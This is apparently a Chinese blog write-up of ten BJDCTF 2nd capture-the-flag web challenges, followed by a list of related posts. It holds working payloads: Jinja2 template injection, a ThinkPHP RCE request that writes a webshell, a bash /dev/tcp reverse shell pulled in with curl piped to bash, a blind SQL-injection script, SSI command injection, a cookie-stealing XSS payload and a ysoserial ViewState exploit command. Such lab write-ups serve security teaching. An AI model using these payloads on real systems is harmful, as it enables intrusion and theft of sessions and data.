文章目录

  • [BJDCTF 2nd] fake google
  • [BJDCTF 2nd]old-hack
  • [BJDCTF 2nd]假猪套天下第一
  • [BJDCTF 2nd]duangShell
  • [BJDCTF 2nd]简单注入
  • [BJDCTF 2nd]Schrödinger
  • [BJDCTF2020]EasySearch
  • [BJDCTF 2nd]xss之光
  • [BJDCTF 2nd]文件探测
  • [BJDCTF 2nd]EasyAspDotNet

[BJDCTF 2nd] fake google

要点:SSTI模板注入(python jinjia2模板)


测试网站 发现存在模板注入{{4*‘7’}} 返回 28,发现是python Jinja2模板
构造payload实现任意命令执行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

具体内容(任意命令执行隐藏在其中 替换<commend>内容即可)

{% for c in [].class.base.subclasses() %}
{% if c.name==‘catch_warnings’ %}
{{ c.init.globals[‘builtins’].eval(“import(‘os’).popen(’<commend>’).read()”)}}
{% endif %}{% endfor %}

[BJDCTF 2nd]old-hack

要点:thinkphp5框架漏洞(任意命令执行)

访问页面提示了是 thinkphp5框架的网站

构造一个ThinkPHP的报错看一下详细版本

http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=1
或
http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha

报错获得版本号为5.0.23,通过百度查询thinkphp版本5.0.23的漏洞

Thinkphp5远程命令执行漏洞

漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[’_method’]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST[’_method’]=’__construct’而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

构造payload,进行任意命令执行(修改server[REQUEST_METHOD]变量的值进行命令执行)

URL:http://d410122a-6788-4716-b3b2-09dacb81ac49.node3.buuoj.cn
Post值:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /

获得目录文件
再通过cat /flag 获得flag值

PS:也可以通过传入一句话木马, 进行getshell

构造post值:

_method=__construct&filter[]=system&server[REQUEST_METHOD]=echo '<?php @eval($_POST[cmd]);?>' >shell.php

利用蚁剑获得整个网站目录权限

[BJDCTF 2nd]假猪套天下第一

要点:HTTP Header消息头(本质就是套娃)

任意登录,burp抓包,获的.php网页

层层套娃
第一层:访问,提示要99年后才能访问,修改请求头的time值,修改成一个很大的数字

第二层:只允许本地请求访问,伪造IP,添加Client-ipXFF(本题不允许)头绕过

第三层:检测跳转前的网址 ,添加Referer头绕过

第四层:检查使用的浏览器 ,添加user-agent头绕过 值为:Commodore 64

第五层:检测发出请求的用户的Email,添加from头绕过

第六层:检测代理服务器地址,添加via头绕过

获得flag
HTTP Header消息头参考:https://www.cnblogs.com/benbenfishfish/p/5821091.html

[BJDCTF 2nd]duangShell

要点:nc命令反弹shell

进去提示swp源代码泄露,访问http://xxx/.index.php.swp下载该文件

编辑器vim异常退出产生缓存导致信息泄露
以 index.php 为例
(1)第一次产生的缓存文件名为 .index.php.swp
(2)第二次意外退出后,文件名为 .index.php.swo
(3)第三次产生的缓存文件则为 .index.php.swn
PS:注意index前有 " . "

​ 恢复文件操作:执行 vim -r .文件名 获取源码

<html lang="en">
<head><meta charset="UTF-8"><title>give me a girl</title>
</head>
<body><center><h1>珍爱网</h1></center>
</body>
</html>
<?phperror_reporting(0);echo "how can i give you source code? .swp?!"."<br>";if (!isset($_POST['girl_friend'])) {die("where is P3rh4ps's girl friend ???");} else {$girl = $_POST['];if (preg_match('/\>|\\\/', $girl)) {die('just girl');} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";} else {//duangShell~~~~exec($girl);}
}
?>

​因为exec()无回显,而且没有禁curl。所以可以反弹shell~~

在buu新建一个小号,打开Basic Labs下的一台靶机,用于监听

  • 查看靶机的ip地址 ifconfig​ 获得主机IP地址

  • 进入/var/www/html写入一个shell.txt文件
    内容:bash -i >& /dev/tcp/ip/port 0>&1
    ip 为内网主机的ip地址,port端口随意

  • 启动监听服务:nc -lvvp 端口

  • post一个girlfriend的值:girl_friend=curl 监听IP/shell.txt|bash

  • 连接上靶机,允许执行系统命令 利用find / -name flag获取flag文件 cat执行获取flag值

.swp为vim编辑器在编辑时因为异常退出生成的备份文件,利用命令vim -r 可恢复文件

[BJDCTF 2nd]简单注入

要点:SQL注入

访问题目,一个登录框

访问robots.txt获取hint信息

既然是注入题,先进行一波fuzz测试,看看有没有黑名单,大部分被过滤

过滤字符

union , select , = , ' , & , && , - ,  " , and 等


方法1:\ 转义单引号 逃逸
例:

传入admin\ 和 or/**/length(database())>0#会回显stronger字样传入admin\ 和 or/**/length(database())<0#会回显girl friend字样

写脚本进行盲注获取用户名和密码


import requests
url = "http://94ec392f-66af-49b4-8652-7bdf81fd95d0.node3.buuoj.cn/index.php"data = {"username":"admin\\","password":""}
result = ""
i = 0while( True ):i = i + 1head=32tail=127while( head < tail ):mid = (head + tail) >> 1#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)data['password'] = payloadr = requests.post(url,data=data)if "stronger" in r.text :head = mid + 1else:tail = midlast = resultif head!=32:result += chr(head)else:breakprint(result)

脚本跑出用户名和密码 登录获取flag

方法2:正则表达式盲注(先放着后期学习)
参考文章:https://www.freesion.com/article/2367234678/

[BJDCTF 2nd]Schrödinger

要点:时间戳
进入题目,直接谷歌翻译

大致是在列表单中提交一个URL,页面将会尝试爆破,爆破时间越久成功率越高。
查看源码是否有提示信息,发现有test.php,尝试访问


提示我们在admin的密码中留了东西。结合刚刚主页面的爆破,应该是利用主页面将admin的密码爆破出来,于是,将这个url填入主页面的表单中。然后check,但提示爆破失败。
重新测试,利用burp抓包看看内容,发现有个参数,进行base64解码后判断应该是时间戳,利用在线工具转换,发现是当前的时间


猜测修改时间戳会使成功率改变,直接改成0 ,提示爆破成功
获得内容,是B站的AV号 后面的依旧是时间戳 ,找到视频并找到对应的时间戳的评论获得flag(暴打出题人)

[BJDCTF2020]EasySearch

要点: SSI注入
扫描一下目录,发现.swp备份文件源码泄露,访问获取源码

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>

简单的代码审计,当substr(md5($password'),0,6)= '6d0bc1'即可登录成功,并在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。
password的值可直接利用脚本爆破

对登录过程进行抓包可以发现生成的shtml文件的路径

访问该路径 显示了用户名,时间和当前访客IP,这部分的动态输出使用的应该是SSI,猜测存在SSI注入

利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。

(SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于
CGI,用于动态页面的指令。SSI 注入允许远程在 Web
应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

输入payload:<!--#exec cmd="ls ../"-->登录,访问network处的url

访问返回包header头中的url,可以获得flag文件,回到登录输入payload:<!--#exec cmd="cat ../flagxxxxx"-->执行命令获取flag

资料参考:服务器端包含注入SSI分析总结

[BJDCTF 2nd]xss之光

要点:git泄露、PHP原生类反序列化

进行路径扫描发现存在.git源码泄露,下载获得index的源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
?>

提供GET参数,进行了反序列化,但没有提供具体类的情况下,我们可以进行原生类反序列化,参考资料:反序列化之PHP原生类的利用

根据源码有个echo 最好是对有__toString()方法的类进行反序列化,在__toString()原生类反序列化中,常用的是Error和Exception类,但是Error是php7专有,用查看看了下发现题目环境是php5:

所以用Exception反序列化,要注意的是它反序列化只能xss

本地构造payload获得恶意的序列化值

<?php$a = serialize(new Exception("<script>window.location.href='IP'+document.cookie</script>"));echo urlencode($a);?>

将获得的值传入题目在url地址中直接获取到flag

[BJDCTF 2nd]文件探测

要点:SSRF,sprintf格式化字符串漏洞
进入题目,花里胡哨的页面没有什么用;

发现响应包里面有个提示,hint:home.php,访问一下


根据提示进入home.php,发现URL变成了:

http://d3a0ad27-3c95-46f7-bfc2-208e580c984b.node3.buuoj.cn/home.php?file=system

file的值是system,实际上包含的是system.php文件,猜测后端应该是自动拼接拓展名的

怀疑存在文件包含,用php://filter伪协议试着读一下:

php://filter/read=convert.base64-encode/resource=home

解码获得home.php的源码:

使用php://filter伪协议读取system的代码 主要代码:

<?php$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {$url = $_POST['q2'].".y1ng.txt";$method = $_POST['q3'];$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";echo $str1;if (!preg_match($filter1, $url) ){die($str2);}if (preg_match($filter2, $url)) {die($str3);}if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {die($str4);}$detect = @file_get_contents($url, false);print(sprintf("$url method&content_size:$method%d", $detect));
}
?>

system.php会接收三个POST值

我们可以获取到以下的限制条件:

1.不能包含有flag字符串

2.q2的值必须以http://127.0.0.1/开头,其实相当于是限制了只能通过SSRF读取文件

3.POST获取了q1、q2、q3三个值,其中q1值并没有什么限制,q2后会拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串开头。

首先是无法直接读取到flag文件,通过home.php文件的源码我们可以猜测应该还存在admin.php文件,

其次就是我们传进去的URL即q2值会被拼接上无用字符串,我们可以通过在URL后加 “?a=(GET赋值给一个参数)” 或 “#(锚点)” 来让其失效,

最后一个考的点就是在这两行代码上:

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

我们需要file_get_contents() 读取文件信息,但%d会将$detect(即源码)以二进制数的形式输出,我们无法获得需要的源码

这里利用sprintf格式化字符串漏洞

  1. %1$s —— 这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:
print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s会以字符串格式输出$detect,而%d会输出0
  1. %s% —— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:
print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被转义

构造出Payload,POST发送给system.php即可获得admin.php的源码:

q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s

部分admin.php代码

<?php
if (isset($_GET['decrypt'])) {   //只要传入decrypt参数就不会生成随机数$decr = $_GET['decrypt'];if (Check()){$data = $_SESSION['secret'];include 'flag_2sln2ndln2klnlksnf.php';$cipher = aesEn($data, 'y1ng');  //注意!这里加密的内容是从SESSION中取的,突破点就在这里if ($decr === $cipher){echo WHAT_YOU_WANT;   } else {die('爬');}} else{header("Refresh:0.1;url=index.php");}
} else {//I heard you can break PHP mt_rand seedmt_srand(rand(0,9999999));   //这里的种子是真随机了,无法爆破$length = mt_rand(40,80);$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>

hint

session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL。

当访问admin.php时,删除session访问,代码就会变成:

$cipher = aesEn(NULL, 'y1ng');

因此我们就可以计算出密钥,从而获得Flag。

把加密算法改一下得到:

function aesEn($data, $key){$method = 'AES-128-CBC';$iv = md5('174.0.222.75',true);  //修改IPreturn  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}echo aesEn('', 'y1ng')

构造payload,拼接获得的密文,清楚cookie访问获取flag

/admin.php?decrypt=xxxx

[BJDCTF 2nd]EasyAspDotNet

要点:
任意文件读取
ASP.NET VIEWSTATE 反序列化
CVE-2020-0688
Windows 命令行基本操作

这是一道windows的题

aspx后缀的页面,通常都有一个配置文件web.config.这题存在任意文件泄露。

click后查看源代码,会发现图片的位置所在,复制到url中

ImgLoad.aspx?path=4.gif

注意他的url,应该是存在文件包含读取,通过路径穿越可以读取到web.config文件

Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的配置信息(如最常用的设置ASP.NETWeb
应用程序的身份验证方式),它可以出现在应用程序的每一个目录中。当你通过.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件。它可以提供除从父目录继承的配置信息以外的配置信息,也可以重写或修改父目录中定义的设置

ImgLoad.aspx?path=../../web.config

(Ps:因为是图片无法直接查看其源码,可以直接在url前加上view-source:url 去获取,但可能不同浏览器有所不同,谷歌可以但火狐不行,可以利用curl去获取或者迅雷下载)

查看 web.config 的内容,其中 machineKey 中的值均为固定值,参考该wp最下面的资料,这些值用来加密反序列化之后的 VIEWSTATE 等值。

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

有了 VIEWSTATE 的加密密钥,我们就可以根据文章中的方法构造一个带回显的 VIEWSTATE Payload,来让服务器反序列化然后 RCE。

利用工具ysoserial:下载链接->ysoserial.net的exe版本
使用方法:

这里我们还缺少利用的ExploitClass.cs文件(构造带回显的 VIEWSTATE Payload,实现RCE)

下载地址:ExploitClass.cs、System.Web.dll、System.dll文件

执行命令获取

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"

将得到的 Payload 放入 POST 的请求的 VIEWSTATE,再将命令写入 cmd,发送即可 RCE。
利用抓包工具(Postman或burp,如果是burp需要注意一下将获得的__VIEWSTATE值进行url编码,不然会出现一些问题)



参考资料:
(1)玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門
(2)如何借助ViewState在ASP.NET中实现反序列化漏洞利用

[BJDCTF 2nd] Web复现 wp相关推荐

  1. BJDCTF 2nd WEB

    BJDCTF 2nd WEB emmm,比赛做了几道题,赛后官方给了wp,把没做出来的复现一下,,,, [BJDCTF 2nd]fake google 一个SSTI,发现是jinja2的,直接用pay ...

  2. 【BJDCTF 2nd—Web】做题+复现记录

    fake google 随便输入然后查看源代码发现 ssti,应该是服务器模板注入,查了一个payload直接就可以查到flag {{().__class__.__bases__[0].__subcl ...

  3. [BJDCTF 2nd] web题-假猪套天下第一

    复现环境:buuoj.cn 出题人是y1ng师傅~ 使用admin登录有提示框. 使用其他账号登录获取数据包发现有其他页面 访问这个页面 翻译过来,意思是抱歉,此网站将在99年后开放! 抓包发现有时间 ...

  4. [BJDCTF 2nd]fake google -wp

    打开后一个google搜索框,查看源码没什么,随便输入点东西搜索 查看源码,提示ssti 测试一下,存在ssti 1 .获取字符串的类对象 ''.__class__ 2 .寻找基类 ''.__clas ...

  5. BJDCTF 2nd -Crypto

    BJDCTF 2nd -Crypto cat_flag 在这里插入图片描述 思路 灵能精通-y1ng 题目 思路 燕言燕语-y1ng 题目 思路 Y1nglish-y1ng 题目 思路 cat_fla ...

  6. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])...

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  7. [BUUCTF-pwn]——[BJDCTF 2nd]secret

    [BUUCTF-pwn]--[BJDCTF 2nd]secret 这道题目,看就考验你的汇编能力了. 因为在反汇编的过程中,有一个函数过大,无法反汇编 在IDA中看到一个格外令人喜欢的东西,可是if ...

  8. [BUUCTF-pwn]——[BJDCTF 2nd]rci

    [BUUCTF-pwn]--[BJDCTF 2nd]rci 题目地址: https://buuoj.cn/challenges#[BJDCTF%202nd]rci checksec 检查和 IDA大家 ...

  9. [BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2

    [BUUCTF-pwn]--[BJDCTF 2nd]ydsneedgirlfriend2 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]ydsneedg ...

最新文章

  1. 独家 | 利用Cosmos微服务改善Netflix视频质量
  2. 写给计算机老师的一封信800,写给老师的一封信800字作文(一)
  3. 史上最全的并发编程学习
  4. cf1491C. Pekora and Trampoline
  5. inputstream 初始化_如何完美回答面试官问的Mybatis初始化原理!
  6. 无法将输入值传递给JavaScript变量
  7. idea非开源安装指南_开发人员开源指南
  8. 10年经验总结,华为fellow教你如何成为一名优秀的架构师?
  9. linux7添加端口过程,CentOS7安装firewalld防火墙添加放行端口简单演示过程
  10. C++socket编程(三):3.5 accept读取用户的连接信息
  11. 大数据项目实战-电商日志平台
  12. 大数据与云计算的理解与基本认识
  13. 运算放大器 你想知道的都在这里
  14. 一米村长讲故事机器人_村长讲故事
  15. Appium 屏幕截图(交易宝)
  16. 人才缺口上百万,年薪50万+!
  17. 通过小宝的卡牌游戏,看开源SCUT服务器运行使用
  18. 深度学习OSSIM关联分析(附源码注解)
  19. 360网站卫士cdn全面转向奇安信
  20. SBI集团向“Smart Card”钱包制造商投资1500万美元

热门文章

  1. php 导出excel删除空行,将Excel数据写入Word模板并删除多余的空行
  2. 第10章 车间工位吊 多工况移动载荷分析(多工况的添加、结果分析) 多工况计算
  3. 对比python字符串函数,学习pandas的str矢量化字符串函数
  4. 哈希函数 直接定址法 除留余数法
  5. 微信支付获取prepay_id以及回调地址
  6. Flink菜鸟教程(二)——时间概念
  7. 阿里云服务器好吗?阿里云服务器ECS有什么优势
  8. ipv4v6双栈技术_IPv4、IPv6双栈方法
  9. 面向NLP的AI产品方法论——如何设计多轮语音技能
  10. [Android] 隐藏头顶状态栏